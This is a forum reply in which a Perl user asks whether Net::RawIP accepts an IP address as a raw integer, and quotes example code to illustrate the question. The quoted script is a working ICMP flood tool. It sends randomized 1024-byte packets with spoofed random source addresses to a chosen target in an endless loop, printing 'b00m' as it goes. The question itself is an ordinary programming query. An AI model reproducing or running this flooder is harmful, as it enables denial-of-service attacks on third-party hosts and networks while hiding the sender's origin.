Yes it's work, but please look at this code (i got this code from Net::Raw Example)
Have a look in looping area, we got :$| = 1; require 'getopts.pl'; use Net::RawIP; Getopts('t:'); die "Usage $0 -t <target>" unless $opt_t; srand(time); $i = 996; $data .= chr(int rand(255)),$i-- while($i); $icmp = new Net::RawIP({ ip => { ihl => 6, tot_len => 1024, id => 1, ttl => 255, frag_off => 0, daddr => $opt_t }, icmp => { id => 2650, data => $data } }); for(;;){ $j++; $icmp->set({ ip => { saddr => 17000000 + int rand 4261000000 }, icmp => { type => int rand(14), code => int rand(10), sequence => int rand(255) } }); $icmp->send; print "b00m " unless $j%1000; }
The author give $addr with random int number without doing packing or unpack, so i make my own conclusion that we can give $addr with int number (like code above) as long as it's valid ip addy, is it true?
i m trying hard to explain my problem in proper english i hope you can understand
thanks, zak
In reply to Re^2: unsigned int in the host format and raw socket
by doctor_moron
in thread unsigned int in the host format and raw socket
by doctor_moron
| For: | Use: | ||
| & | & | ||
| < | < | ||
| > | > | ||
| [ | [ | ||
| ] | ] |